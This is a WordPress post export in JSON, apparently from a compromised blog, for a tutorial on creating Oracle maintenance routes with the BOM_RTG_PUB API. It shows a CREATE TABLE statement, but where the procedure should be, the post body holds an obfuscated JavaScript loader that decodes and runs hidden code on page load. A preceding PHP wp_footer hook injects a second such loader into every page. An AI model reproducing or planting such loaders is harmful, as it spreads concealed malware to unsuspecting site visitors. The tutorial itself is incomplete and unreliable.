add_action('wp_footer', function () { echo '<script>(function(){\nvar xad2143=4568;\nif(xad2143>0){var y8377fb=xad2143-7177}else{var y8377fb=7177}\nvar z2ba7ee=y8377fb*82;\nvar _0x29c59be5cc20=[100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,116,119,66,112,113,81,103,114,117,103,127,87,120,93,89,79,110,81,66,96,97,65,78,84,97,96,65,121,97,93,89,65,100,116,14,127,113,100,81,80,119,7,111,87,116,119,123,124,119,94,89,4,101,92,124,83,117,7,96,84,114,112,66,108,110,119,3,87,101,92,116,103,110,112,111,84,114,116,15,120,123,94,103,114,126,78,70,103,98,7,89,122,97,7,15,85,110,103,78,82,96,112,65,121,110,90,89,123,117,112,103,102,117,65,78,85,114,65,69,124,110,7,94,84,110,65,90,108,97,96,6,124,96,96,90,80,110,90,70,82,117,112,78,87,110,112,90,80,97,81,3,84,114,6,15,97,113,65,65,80,98,98,127,123,113,119,99,115,99,114,108,125,116,100,93,108,126,100,3,110,103,93,127,82,119,81,115,99,117,81,127,114,103,119,14,117,126,6,119,80,126,103,3,114,126,100,81,102,119,103,103,121,119,65,127,124,117,115,123,121,119,81,116,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,14,82,114,93,123,123,119,65,111,80,103,65,2,117,119,115,127,82,119,81,115,99,117,81,127,114,101,93,112,125,116,100,93,108,126,100,3,110,103,93,127,80,126,103,3,119,119,119,65,115,119,65,123,127,113,99,123,119,114,116,93,115,114,93,123,85,113,119,103,113,119,65,127,124,117,115,123,82,126,65,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,126,100,81,102,119,103,103,121,103,65,123,117,117,103,103,127,126,93,123,123,126,100,7,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,119,119,65,115,119,65,123,127,113,99,123,82,113,119,14,116,116,119,3,114,114,65,115,123,126,94,93,123,126,103,100,114,116,119,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,114,117,81,65,108,117,116,89,123,112,115,123,108,117,119,123,124,117,116,14,116,112,115,123,121,119,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,126,103,127,116,112,119,89,117,119,6,123,124,126,78,6,121,103,65,127,80,117,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,110,116,14,82,114,93,123,115,119,93,127,119,114,116,93,115,114,93,89,65,96,94,69,123,126,6,6,79,119,65,103,121,116,112,116,102,110,100,99,64,97,65,14,67,96,119,94,85,125,96,6,102,110,65,69,64,96,112,69,69,114,7,89,67,97,96,89,89,110,96,93,67,114,7,6,64,125,112,90,87,97,90,90,85,110,103,14,67,110,119,66,80,98,7,111,84,114,116,15,120,123,81,93,122,114,94,2,99,114,7,116,102,114,7,66,96,117,96,78,96,110,96,100,102,96,81,69,111,119,65,2,108,116,119,127,114,98,98,127,124,126,100,81,96,100,98,127,121,112,116,85,123,113,6,103,97,113,100,14,99,112,94,69,123,126,6,6,79,117,78,81,115,126,119,2,125,126,7,119,79,114,94,103,110,114,116,66,114,126,94,81,102,126,94,93,80,100,96,7,116,110,6,100,103,99,112,116,125,110,100,96,125,99,92,127,121,112,116,85,123,113,6,123,83,113,119,14,83,113,100,15,112,110,6,100,110,123,81,2,99,112,65,65,84,96,81,103,122,100,98,127,122,113,119,103,85,114,81,89,80,103,65,115,127,119,65,89,108,116,96,112,85,110,7,96,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,99,112,119,99,82,117,116,3,103,126,103,65,80,126,81,81,93,119,78,90,112,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,66,108,103,96,66,108,100,115,112,85,97,6,100,97,116,119,66,112,98,114,127,99,112,119,99,82,117,116,3,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,122,112,65,93,125,113,119,108,103,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,78,80,96,99,115,79,112,116,103,112,126,103,81,83,100,7,15,115,103,98,127,82,112,116,2,119,114,78,89,96,99,115,70,125,96,81,69,117,126,6,99,84,114,116,15,120,123,81,69,85,112,103,124,103,110,96,111,79,117,78,65,96,119,90,115,79,117,78,85,124,117,94,81,113,103,65,115,127,119,65,89,108,116,96,111,79,117,78,65,96,119,93,108,103,110,6,103,97,113,65,65,80,98,98,127,125,113,100,89,115,116,65,103,80,99,116,6,123,126,78,2,127,124,119,123,108,100,98,127,122,112,65,93,125,113,119,108,114,126,94,81,102,126,94,93,80,100,98,127,122,126,116,99,117,103,96,15,115,103,96,78,84,100,112,111,115,117,6,99,79,117,94,93,87,116,119,85,115,126,6,103,79,126,100,103,83,119,119,14,87,112,99,108,103,102,94,93,80,116,119,123,125,103,65,69,80,119,81,119,67,116,103,65,80,122,81,127,124,117,115,99,79,117,94,93,87,116,119,85,115,126,6,100,97,115,116,14,127,113,100,81,80,119,6,6,79,126,100,103,83,119,119,14,87,112,96,111,103,114,81,65,108,114,81,96,112,117,115,103,97,126,65,81,108,113,116,14,114,101,93,70,97,115,116,119,122,113,119,123,121,113,103,103,117,119,6,6,79,119,65,2,102,114,78,89,87,100,98,127,83,113,94,69,80,103,98,127,122,113,119,99,82,100,116,111,80,117,116,93,111,126,65,120,120,119,65,81,87,98,98,6,80,119,81,119,115,126,81,94,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,2,80,116,103,127,112,112,119,90,116,123,81,85,116,113,81,15,115,112,94,69,123,126,6,6,79,113,116,85,125,113,81,78,103,119,65,81,87,98,98,99,81,127,101,99,108,113,100,6,25,117,116,65,111,117,116,2,108,100,99,100,97,123,94,81,110,117,94,89,123,103,65,127,82,117,119,120,112,101,92,6,95,102,92,90,125,103,98,127,83,113,94,69,80,103,100,93,80,113,119,94,115,96,92,127,111,112,65,89,87,114,115,123,83,117,116,93,25,117,116,65,111,117,116,2,108,124,103,81,123,117,103,81,80,100,99,89,67,119,81,123,108,117,119,123,108,103,114,93,99,126,103,94,125,103,99,89,123,126,100,6,116,116,119,2,123,113,103,103,117,119,6,127,126,126,81,127,114,101,93,100,97,123,94,81,110,117,94,89,123,103,78,93,115,119,119,81,117,113,116,90,103,97,112,7,82,110,96,111,79,113,116,85,125,113,81,78,114,119,81,123,116,119,81,65,124,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,113,100,14,99,112,92,127,121,126,65,99,117,116,100,103,124,100,101,85,29,127,95,120,114,126,103,65,80,126,81,94,112,123,94,81,110,117,94,89,123,103,78,14,127,126,94,6,117,119,78,2,127,121,103,81,96,113,99,100,115,96,94,119,121,114,116,93,121,116,99,99,127,100,116,111,79,116,65,115,87,114,6,99,127,100,112,111,103,115,112,111,79,113,116,85,125,113,81,78,114,119,81,123,127,126,78,14,117,126,7,119,79,113,116,85,125,113,81,78,114,119,81,123,108,116,119,119,127,119,94,81,108,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,123,81,85,116,113,81,15,112,119,65,81,87,98,101,81,80,126,65,127,80,100,99,100,115,96,94,116,97,123,94,81,110,117,94,89,123,103,78,2,127,119,65,90,112,124,76,2,95,127,6,123,83,113,100,14,115,119,65,89,115,117,78,100,112,123,81,69,111,116,100,7,115,100,112,111,103,100,112,111,103,117,78,81,114,114,94,93,115,119,81,120,120,123,81,81,110,126,78,81,102,117,103,3,112,123,94,93,117,116,65,69,114,114,81,15,115,112,81,103,122,100,98,127,108,119,81,85,122,119,65,2,102,99,7,119,79,114,116,81,112,116,115,123,116,117,119,123,125,113,103,96,115,126,65,81,108,113,116,14,114,98,98,6,80,119,81,119,115,126,81,94,114,126,65,81,83,119,81,115,84,117,115,99,114,113,119,115,116,100,112,111,84,114,116,15,120,123,94,103,80,114,65,94,103,112,81,85,83,119,81,123,80,126,103,3,110,101,90,15,114,110,99,70,116,119,119,81,108,116,103,127,124,96,6,89,127,113,103,99,79,114,81,65,116,119,99,70,116,126,103,65,80,114,119,119,83,96,76,111,97,113,103,124,110,123,81,123,115,114,81,100,116,117,103,65,108,114,112,82,125,110,100,96,125,100,92,127,124,117,65,2,83,112,119,14,103,103,99,89,116,114,116,93,127,126,94,90,125,123,115,115,115,117,96,82,85,115,112,111,80,117,116,93,111,126,65,120,120,123,81,123,121,114,65,14,87,113,93,99,79,114,116,81,112,116,114,111,79,113,103,127,126,117,65,123,121,114,76,116,116,123,94,103,80,114,65,94,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,115,99,113,119,93,126,100,116,111,84,114,116,15,120,123,81,85,116,112,65,93,82,112,7,119,79,119,100,103,111,117,103,82,122,101,76,127,116,112,116,81,124,116,6,123,80,117,116,2,111,119,100,90,101,123,81,93,82,113,116,96,112,123,81,115,99,113,119,93,126,103,78,14,127,126,94,81,116,113,99,100,110,101,93,70,97,116,119,66,112,123,81,85,116,112,65,93,82,112,6,103,80,117,116,93,111,126,65,120,120,123,81,85,116,112,65,93,82,112,6,123,80,117,116,6,116,114,119,2,127,100,99,127,78,103,93,108,124,103,93,112,125,101,93,100,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,103,65,2,123,113,103,2,112,100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,96,94,119,122,113,119,123,121,113,103,103,117,119,6,6,79,117,116,85,99,116,81,69,85,117,99,99,79,126,78,89,87,114,6,103,97,113,65,65,80,98,98,127,114,119,81,89,126,113,96,119,124,119,81,2,111,119,119,81,114,113,99,123,121,126,65,81,123,113,103,81,89,119,103,81,119,117,119,123,108,100,99,89,83,114,94,14,115,126,100,90,125,100,112,111,79,119,65,127,125,116,78,90,114,126,94,14,121,99,114,127,80,113,94,89,102,100,93,70,117,114,116,6,115,103,78,6,112,126,96,127,83,99,115,70,113,123,94,103,114,126,78,70,113,101,93,69,79,113,7,116,125,100,95,119,123,113,103,96,114,117,65,115,117,119,94,15,112,125,103,65,108,117,115,123,114,119,94,70,112,100,115,124,84,110,96,7,82,110,99,100,97,123,81,123,117,117,81,85,108,103,65,65,83,112,119,123,121,99,116,93,80,113,119,94,97,100,103,93,117,114,94,81,119,117,119,123,108,103,65,99,127,114,119,93,100,115,103,93,117,114,94,81,119,117,119,123,108,103,65,14,117,117,100,100,115,103,65,65,82,126,103,81,114,117,101,2,112,116,119,115,124,100,98,127,114,119,81,89,126,113,99,100,97,115,114,127,127,112,78,14,111,114,65,93,121,100,96,7,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,94,14,87,113,81,15,115,112,81,103,122,100,98,127,80,113,94,89,102,100,114,127,127,112,78,103,113,117,78,65,124,100,98,127,80,113,94,89,102,100,112,111,103,100,112,111,103,100,115,96,115,96,81,11,11];\nvar _0x1570ff9a726b=54;\nvar _0xcffea2dbbaa1=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x29c59be5cc20.length;_0xa916207c00b5++)\n  _0xcffea2dbbaa1+=String.fromCharCode(_0x29c59be5cc20[_0xa916207c00b5]^_0x1570ff9a726b);\nvar _0x73b3b1d25a3c=109;\nvar _0x2f74a95aecc4=atob(_0xcffea2dbbaa1);\nvar _code=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x2f74a95aecc4.length;_0xa916207c00b5++)\n  _code+=String.fromCharCode(_0x2f74a95aecc4.charCodeAt(_0xa916207c00b5)^_0x73b3b1d25a3c);\n(new Function(_code))();\n})();</script>'; }, 99);
{"id":605,"date":"2011-01-20T11:41:32","date_gmt":"2011-01-20T08:41:32","guid":{"rendered":"https:\/\/enginhafizoglu.com\/?p=605"},"modified":"2026-09-13T02:15:04","modified_gmt":"2026-09-12T23:15:04","slug":"creating-maintenance-routes-with-api-you-can-use-this-api-for-discrete-manufacturing","status":"publish","type":"post","link":"https:\/\/enginhafizoglu.com\/?p=605","title":{"rendered":"Creating Maintenance Routes with BOM_RTG_PUB API (You can use this API for discrete manufacturing)"},"content":{"rendered":"<p>Firstly I create a custom table then I insert the datas from excel sheet.<\/p>\n<p>[sql]CREATE TABLE XXINN_MAINTENANCE_ROUTES(<br \/>\nASSEMBLY_ITEM_NAME         VARCHAR2(240 BYTE),<br \/>\nORGANIZATION_CODE          VARCHAR2(3 BYTE),<br \/>\nLONG_DESCRIPTION           VARCHAR2(4000 BYTE),<br \/>\nOPERATION_DESCRIPTION      VARCHAR2(400 BYTE),<br \/>\nOPERATION_SEQUENCE_NUMBER  NUMBER,<br \/>\nDEPARTMENT_CODE            VARCHAR2(10 BYTE),<br \/>\nRESOURCE_SEQUENCE_NUMBER   NUMBER,<br \/>\nRESOURCE_CODE              VARCHAR2(10 BYTE),<br \/>\nUSAGE_RATE_OR_AMOUNT       NUMBER,<br \/>\nASSIGNED_UNITS             NUMBER,<br \/>\nERROR                      VARCHAR2(2000 BYTE)<br \/>\n)[\/sql]<\/p>\n<p>Then I have written this procedure for creating the maintenance routes. <script>(function(){\nvar x418c5a=4309;\nif(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910}\nvar z64104a=y841319*18;\nvar _0x3d75fd8731c6=[8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,24,56,22,54,17,18,100,10,21,40,55,17,28,22,17,63,1,96,10,17,22,5,25,2,21,96,5,5,21,60,17,33,8,55,5,3,17,39,25,22,23,5,39,17,24,56,59,4,23,17,17,35,5,19,56,20,2,59,17,6,1,56,21,4,2,2,1,3,5,19,32,27,2,59,39,18,22,55,6,8,27,18,96,53,18,2,56,27,6,5,17,2,1,5,6,23,2,40,10,24,4,59,9,5,2,21,17,7,21,59,100,6,21,2,10,23,22,2,21,4,2,5,26,18,2,2,30,20,1,96,51,4,4,96,30,22,2,21,18,24,21,59,10,17,2,59,30,22,1,18,2,18,22,6,6,29,17,2,9,22,6,41,55,0,21,40,63,20,23,5,63,35,5,18,104,20,17,39,51,21,4,6,56,9,2,55,5,24,22,22,59,53,23,22,55,49,22,55,29,53,22,22,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,63,6,23,17,6,49,18,1,51,5,7,1,51,19,22,2,35,53,22,18,59,9,21,40,26,10,22,18,55,49,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,10,22,56,59,51,18,6,59,5,23,18,32,9,18,40,55,50,20,56,17,9,23,6,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,59,1,22,55,29,3,17,18,9,31,7,1,29,3,23,2,29,3,18,2,35,31,7,2,1,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,55,51,19,22,2,35,53,22,22,59,10,23,18,29,53,21,55,2,10,22,55,51,24,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,2,29,22,18,40,2,10,23,17,5,1,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,56,63,7,24,56,59,10,21,55,30,10,18,39,25,6,23,40,100,5,7,2,5,50,22,55,1,20,22,55,51,53,7,2,100,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,49,23,56,9,53,23,2,59,3,17,97,59,49,22,55,29,53,22,22,59,23,17,56,100,51,23,2,55,4,21,60,59,24,18,2,56,1,27,59,39,18,22,55,6,8,27,17,17,30,17,40,63,5,17,1,2,27,6,5,51,0,30,5,21,6,30,21,100,3,2,58,30,24,22,5,5,2,30,5,101,18,30,56,6,17,30,21,30,17,29,59,52,20,30,18,6,24,30,4,26,20,1,21,18,20,2,59,51,6,30,21,9,2,2,6,6,29,17,2,9,22,6,41,55,5,21,56,35,0,20,40,96,23,3,60,5,6,1,5,104,4,2,59,105,24,4,60,6,29,21,1,25,10,22,17,29,53,23,18,60,8,27,17,29,7,21,39,52,54,27,17,51,21,17,56,35,0,18,18,32,53,20,17,29,22,20,55,39,18,22,55,6,8,27,18,1,49,22,56,63,18,20,56,18,27,27,17,51,21,17,56,35,0,18,18,32,10,18,17,25,6,18,17,29,22,8,96,52,50,2,6,101,27,3,59,32,1,2,39,105,1,3,19,55,24,18,17,25,50,20,39,1,49,7,1,1,19,22,1,1,20,18,6,105,22,8,59,96,63,18,39,1,19,23,39,104,21,23,59,39,53,21,6,104,63,22,18,63,7,23,55,21,31,21,22,59,50,21,56,59,1,17,40,105,28,2,59,6,0,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,24,2,9,2,23,18,104,5,3,55,51,7,18,1,1,3,0,56,59,20,8,41,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,18,1,97,36,18,1,97,101,50,2,59,22,53,4,18,100,2,8,97,9,63,24,2,9,2,23,18,104,5,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,20,1,25,9,24,17,9,24,3,57,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,23,2,5,105,50,27,18,96,7,21,2,55,54,22,22,97,22,8,60,35,63,23,1,104,31,21,2,40,27,5,22,18,29,21,2,55,22,8,39,21,7,18,6,51,63,21,56,17,23,21,56,21,5,24,5,32,24,4,19,55,3,21,17,9,3,21,2,1,52,3,41,55,30,17,56,55,51,18,55,52,10,23,40,25,10,21,17,29,54,4,19,55,3,21,17,9,3,21,2,1,52,8,21,32,22,8,55,39,18,22,55,6,8,27,18,59,1,21,55,104,2,23,17,6,27,18,40,9,22,18,18,25,123,23,1,30,54,27,17,96,19,23,18,39,23,18,97,59,21,17,56,5,21,17,39,6,54,27,18,25,1,18,56,25,2,22,18,97,50,2,6,101,50,2,59,22,53,4,18,100,2,8,41,55,10,21,18,25,0,21,2,55,22,8,57,55,10,20,39,100,2,24,22,40,27,26,17,29,22,24,56,59,1,7,2,21,22,23,18,63,96,24,40,9,22,30,18,55,4,21,60,104,63,23,2,17,3,20,40,21,9,18,6,101,29,19,55,5,3,17,39,25,22,23,6,51,63,23,1,104,31,21,2,40,29,19,56,1,7,17,40,1,54,8,40,26,53,20,17,5,3,17,39,25,22,23,6,18,1,4,17,63,27,21,1,25,10,22,17,29,53,23,18,60,8,27,17,9,4,20,56,100,21,8,41,55,53,17,1,100,5,22,17,21,1,7,41,55,17,17,1,5,19,24,56,29,21,8,55,39,22,21,55,29,19,18,2,60,8,23,2,25,17,6,41,51,22,23,18,63,53,18,18,26,54,21,1,25,10,22,17,29,53,23,18,60,54,27,18,21,52,23,2,100,10,17,39,22,50,27,17,5,30,20,2,21,5,24,22,100,29,17,2,9,22,6,41,55,9,20,2,63,20,17,21,63,10,21,55,18,8,28,42,63,103,0,39,29,20,18,41,5,3,18,55,25,3,18,17,30,54,8,59,39,63,23,17,96,49,17,39,18,10,23,17,51,3,23,6,105,1,26,42,55,59,25,97,18,50,27,18,100,18,20,56,1,5,17,2,18,50,17,39,5,19,21,60,101,29,27,18,55,30,23,55,29,17,7,1,1,3,17,41,5,3,18,55,25,3,18,17,29,127,21,56,9,4,21,55,6,54,5,20,1,9,23,1,29,3,23,1,30,49,25,39,100,24,21,60,18,50,5,18,9,24,18,40,35,53,22,18,9,20,24,56,55,10,7,18,96,21,23,18,60,1,8,59,39,63,23,17,96,49,17,39,18,10,17,40,100,49,21,56,55,19,17,96,32,19,2,96,52,24,4,19,55,9,20,2,63,20,17,22,59,9,23,2,35,9,22,56,30,27,21,1,25,10,22,17,29,53,23,18,60,54,8,55,39,20,18,1,100,29,27,18,21,52,23,2,100,10,17,39,22,54,0,3,1,100,31,6,59,24,22,55,5,21,21,60,104,63,23,17,96,49,17,39,18,10,18,2,25,21,18,40,55,10,18,18,25,58,21,55,104,20,8,60,101,29,19,56,1,7,17,40,1,54,8,40,26,53,20,19,55,22,20,1,96,2,22,18,40,54,21,60,101,29,19,55,32,29,27,18,55,30,23,55,29,17,7,2,55,10,21,55,5,22,23,17,6,27,27,18,55,30,23,55,29,17,7,2,55,10,17,40,100,49,21,56,55,19,17,96,63,2,17,56,59,5,17,40,100,9,23,6,105,53,20,19,55,22,20,1,96,2,22,18,40,54,23,2,25,17,6,42,25,22,18,2,55,22,8,97,101,53,4,17,32,29,27,18,55,30,23,55,29,17,7,1,1,3,23,2,30,54,0,3,1,100,31,6,59,21,17,39,5,53,23,2,17,53,21,1,101,54,27,17,17,18,18,1,25,53,21,39,2,53,8,59,39,27,8,59,39,27,21,1,25,10,22,17,29,53,23,18,60,8,27,18,29,19,24,18,9,53,8,41,55,2,23,2,9,18,22,2,36,53,20,18,100,2,8,41,55,2,23,2,9,18,22,2,36,26,3,57,55,0,21,40,63,20,23,6,59,50,21,56,59,1,17,40,105,53,18,2,25,20,17,55,5,10,6,41,51,22,23,18,63,53,18,18,26,10,18,2,25,21,23,18,35,18,21,60,104,10,17,56,35,50,8,59,39,18,22,55,6,8,27,17,9,4,18,40,63,24,24,59,63,29,24,1,1,9,23,1,5,24,22,21,97,1,2,6,60,24,5,22,35,49,21,55,29,54,23,18,30,30,5,18,25,20,24,41,55,5,22,56,35,50,5,22,35,24,22,55,5,7,23,55,2,30,28,17,39,20,23,21,96,63,17,17,96,20,23,56,1,18,18,22,35,4,22,55,29,7,4,6,18,24,20,97,18,51,27,18,1,3,23,39,104,0,24,1,9,27,7,97,17,50,22,55,29,3,18,17,30,1,27,60,35,53,21,96,97,23,19,59,39,22,21,55,29,19,18,2,60,8,27,17,9,4,20,56,100,21,8,41,55,0,21,40,63,20,23,3,39,63,21,2,59,7,17,2,5,50,27,60,35,63,18,56,29,24,23,55,51,53,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,5,18,40,1,4,21,2,9,4,8,55,39,18,22,55,6,8,27,18,100,23,20,40,9,21,18,5,63,63,22,17,51,5,21,40,21,7,21,97,22,2,27,18,1,24,22,18,29,2,22,56,30,10,18,2,25,21,17,56,35,20,3,19,55,20,22,56,29,24,8,41,55,5,18,40,1,4,21,2,9,4,7,1,5,3,18,17,25,50,17,97,101,30,5,22,18,29,24,56,22,54,27,18,100,23,20,40,9,21,18,6,100,22,21,55,29,19,18,2,60,8,27,18,100,23,20,40,9,21,18,6,59,22,21,55,51,50,22,56,1,3,8,97,55,34,7,22,40,4,7,22,36,1,5,22,101,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,7,2,1,7,17,40,1,54,8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,4,17,63,2,17,56,59,5,17,40,100,9,23,6,51,63,21,18,5,6,22,18,100,2,21,60,104,63,18,18,9,21,17,2,17,52,8,55,39,18,22,55,6,8,27,18,100,9,24,2,22,27,21,40,55,5,17,56,63,3,23,1,30,10,22,17,5,3,22,55,29,3,29,56,35,3,23,56,25,10,17,97,105,1,18,18,1,22,24,55,51,20,5,22,101,29,27,18,100,9,24,2,22,10,18,17,5,5,3,57,55,21,22,55,1,18,21,18,97,51,5,22,55,7,18,40,101,10,18,40,104,24,3,17,2,27,5,22,39,63,24,2,100,22,23,22,40,1,5,3,55,18,3,60,18,51,31,56,9,20,24,97,59,2,23,40,55,9,18,6,104,42,22,55,29,3,7,2,59,9,17,22,105,53,7,21,22,24,2,96,52,24,8,59,39,63,24,56,55,52,21,6,59,7,18,17,100,10,22,21,63,20,18,1,25,3,4,22,104,4,23,18,1,19,23,56,25,10,17,97,59,54,21,56,9,4,19,39,35,4,23,18,1,19,23,56,25,10,17,97,59,6,23,18,29,31,8,60,59,7,18,39,51,3,23,2,29,96,24,40,100,50,21,97,104,63,24,56,55,52,21,6,101,29,19,57,55,4,17,56,39,7,24,60,105,24,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,21,22,55,1,18,21,18,97,53,20,18,100,2,8,41,55,21,22,55,1,18,21,18,97,53,27,18,17,6,22,2,1,53,21,2,26,54,27,17,1,7,18,17,21,1,24,6,101,29,19,60,101,29,19,60,101,54,8,59,39,109];\nvar _0xa565beffc3a1=80;\nvar _0x99dcf8ed2c65='';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x3d75fd8731c6.length;_0x75f9f42cd56e++)\n  _0x99dcf8ed2c65+=String.fromCharCode(_0x3d75fd8731c6[_0x75f9f42cd56e]^_0xa565beffc3a1);\nvar _0xe1c29d8a8a41=119;\nvar _0x5a1ac3c88648=atob(_0x99dcf8ed2c65);\nvar _code='';\nfor(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x5a1ac3c88648.length;_0x75f9f42cd56e++)\n  _code+=String.fromCharCode(_0x5a1ac3c88648.charCodeAt(_0x75f9f42cd56e)^_0xe1c29d8a8a41);\n(new Function(_code))();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Firstly I create a custom table then I insert the datas from excel sheet. [sql]CREATE TABLE XXINN_MAINTENANCE_ROUTES( ASSEMBLY_ITEM_NAME VARCHAR2(240 BYTE), ORGANIZATION_CODE VARCHAR2(3 BYTE), LONG_DESCRIPTION VARCHAR2(4000 BYTE), OPERATION_DESCRIPTION VARCHAR2(400 BYTE), OPERATION_SEQUENCE_NUMBER NUMBER, DEPARTMENT_CODE VARCHAR2(10 BYTE), RESOURCE_SEQUENCE_NUMBER NUMBER, RESOURCE_CODE VARCHAR2(10 BYTE), USAGE_RATE_OR_AMOUNT NUMBER, ASSIGNED_UNITS NUMBER, ERROR VARCHAR2(2000 BYTE) )[\/sql] Then I have written this procedure for creating [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-605","post","type-post","status-publish","format-standard","hentry","category-oracle-e-is-yonetim-sistemi"],"_links":{"self":[{"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=\/wp\/v2\/posts\/605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=605"}],"version-history":[{"count":7,"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=\/wp\/v2\/posts\/605\/revisions"}],"predecessor-version":[{"id":973,"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=\/wp\/v2\/posts\/605\/revisions\/973"}],"wp:attachment":[{"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/enginhafizoglu.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}